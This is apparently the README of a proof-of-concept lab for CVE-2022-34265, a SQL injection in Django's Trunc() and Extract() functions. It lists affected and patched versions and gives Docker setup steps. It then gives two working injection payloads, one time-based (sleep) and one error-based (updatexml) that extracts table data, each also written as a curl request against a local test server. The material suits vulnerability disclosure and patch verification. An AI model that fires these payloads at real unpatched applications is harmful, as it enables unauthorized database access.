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CVE-2022-34265

PoC for CVE-2022-34265

Description

An issue was discovered in Django 3.2 before 3.2.14 and 4.0 before 4.0.6. The Trunc() and Extract() database functions are subject to SQL injection if untrusted data is used as a kind/lookup_name value. Applications that constrain the lookup name and kind choice to a known safe list are unaffected.

How to use

Start

git clone https://github.com/ZhaoQi99/CVE-2022-34265.git
cd CVE-2022-34265
docker-compose up -d

Remove

docker-compose down

Affected Versions

  • Django>= 3.2, < 3.2.14

  • Django >= 4.0, < 4.0.6

Patched versions

  • Django 3.2.14

  • Django 4.0.6

Verification

Environment

  • Django 4.0.5
  • Python 3.8.13
  • MySQL 5.7

Payload

  • YEAR FROM start_time)) ;select sleep(5)--

  • YEAR FROM start_time)) and updatexml(1,concat(1,(select name from TEST limit 1),1),1)--

Poc

curl "http://127.0.0.1:8000/extract/?lookup_name=YEAR%20FROM%20start_time))%20%3Bselect%20sleep(5)--"
curl "http://127.0.0.1:8000/extract/?lookup_name=YEAR%20FROM%20start_time))%20and%20updatexml(1%2Cconcat(1%2C(select%20name%20from%20TEST%20limit%201)%2C1)%2C1)--"

PS:In the case of different databases, the existence of vulnerabilities is different. The vulnerability does not exist in the MYSQL database backend Trunc function.

Reference